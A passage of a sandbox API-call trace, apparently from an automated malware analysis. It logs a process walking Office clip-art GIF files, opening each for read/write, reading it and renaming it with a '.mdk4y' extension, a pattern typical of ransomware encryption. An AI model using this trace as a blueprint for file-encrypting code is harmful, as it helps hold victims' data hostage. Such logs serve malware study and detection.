lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x205, lpOverlapped=0x0) returned 1 [0127.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820296700000) returned 1 [0127.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820296700000) returned 1 [0127.737] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.mdk4y")) returned 1 [0127.737] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.737] AreFileApisANSI () returned 1 [0127.737] GetACP () returned 0x4e4 [0127.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00092_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00092_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.738] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820296800000) returned 1 [0127.738] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f6, lpOverlapped=0x0) returned 1 [0127.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820296900000) returned 1 [0127.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820296900000) returned 1 [0127.739] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.mdk4y")) returned 1 [0127.739] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.739] AreFileApisANSI () returned 1 [0127.739] GetACP () returned 0x4e4 [0127.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00103_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00103_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.739] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820297000000) returned 1 [0127.740] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x319e, lpOverlapped=0x0) returned 1 [0127.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820302800000) returned 1 [0127.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820302800000) returned 1 [0127.799] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.mdk4y")) returned 1 [0127.800] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.800] AreFileApisANSI () returned 1 [0127.800] GetACP () returned 0x4e4 [0127.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00120_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00120_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.800] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820303000000) returned 1 [0127.800] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd9c, lpOverlapped=0x0) returned 1 [0127.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820304400000) returned 1 [0127.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820304500000) returned 1 [0127.815] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.mdk4y")) returned 1 [0127.815] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.816] AreFileApisANSI () returned 1 [0127.816] GetACP () returned 0x4e4 [0127.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00126_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00126_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.816] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820304600000) returned 1 [0127.816] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc44, lpOverlapped=0x0) returned 1 [0127.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820306100000) returned 1 [0127.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820306100000) returned 1 [0127.832] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.mdk4y")) returned 1 [0127.832] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.832] AreFileApisANSI () returned 1 [0127.832] GetACP () returned 0x4e4 [0127.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00129_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00129_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.832] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820306300000) returned 1 [0127.833] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30c2, lpOverlapped=0x0) returned 1 [0127.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820308000000) returned 1 [0127.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820308000000) returned 1 [0127.850] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.mdk4y")) returned 1 [0127.851] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.851] AreFileApisANSI () returned 1 [0127.851] GetACP () returned 0x4e4 [0127.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00130_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00130_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.851] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820308200000) returned 1 [0127.852] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1485, lpOverlapped=0x0) returned 1 [0127.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820311500000) returned 1 [0127.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820311500000) returned 1 [0127.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.mdk4y")) returned 1 [0127.886] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.886] AreFileApisANSI () returned 1 [0127.886] GetACP () returned 0x4e4 [0127.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00135_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00135_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.886] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820314500000) returned 1 [0127.915] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa24, lpOverlapped=0x0) returned 1 [0127.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820316100000) returned 1 [0127.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820316100000) returned 1 [0127.932] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.mdk4y")) returned 1 [0127.932] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.932] AreFileApisANSI () returned 1 [0127.932] GetACP () returned 0x4e4 [0127.932] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00139_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00139_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.932] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820316300000) returned 1 [0127.933] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x296f, lpOverlapped=0x0) returned 1 [0128.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820323900000) returned 1 [0128.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820323900000) returned 1 [0128.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.mdk4y")) returned 1 [0128.010] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.010] AreFileApisANSI () returned 1 [0128.010] GetACP () returned 0x4e4 [0128.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00142_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00142_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.010] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820324000000) returned 1 [0128.010] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3bcc, lpOverlapped=0x0) returned 1 [0128.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820324600000) returned 1 [0128.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820324600000) returned 1 [0128.017] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.mdk4y")) returned 1 [0128.017] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.017] AreFileApisANSI () returned 1 [0128.017] GetACP () returned 0x4e4 [0128.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00154_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00154_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.017] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820324700000) returned 1 [0128.018] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14c3, lpOverlapped=0x0) returned 1 [0128.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820327500000) returned 1 [0128.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820327500000) returned 1 [0128.045] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.mdk4y")) returned 1 [0128.045] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.045] AreFileApisANSI () returned 1 [0128.046] GetACP () returned 0x4e4 [0128.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00157_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00157_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.046] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820327600000) returned 1 [0128.046] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x135b, lpOverlapped=0x0) returned 1 [0128.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820333100000) returned 1 [0128.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820333100000) returned 1 [0128.101] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.mdk4y")) returned 1 [0128.102] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.102] AreFileApisANSI () returned 1 [0128.102] GetACP () returned 0x4e4 [0128.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00158_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00158_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.102] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820333200000) returned 1 [0128.102] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13a6, lpOverlapped=0x0) returned 1 [0128.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820342500000) returned 1 [0128.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820342500000) returned 1 [0128.196] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.mdk4y")) returned 1 [0128.196] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.196] AreFileApisANSI () returned 1 [0128.196] GetACP () returned 0x4e4 [0128.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00160_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00160_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.196] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820342700000) returned 1 [0128.197] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x47a, lpOverlapped=0x0) returned 1 [0128.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820343600000) returned 1 [0128.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820343600000) returned 1 [0128.207] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.mdk4y")) returned 1 [0128.207] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.207] AreFileApisANSI () returned 1 [0128.207] GetACP () returned 0x4e4 [0128.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00161_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00161_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.207] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820343800000) returned 1 [0128.208] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d9f, lpOverlapped=0x0) returned 1 [0128.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820347100000) returned 1 [0128.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 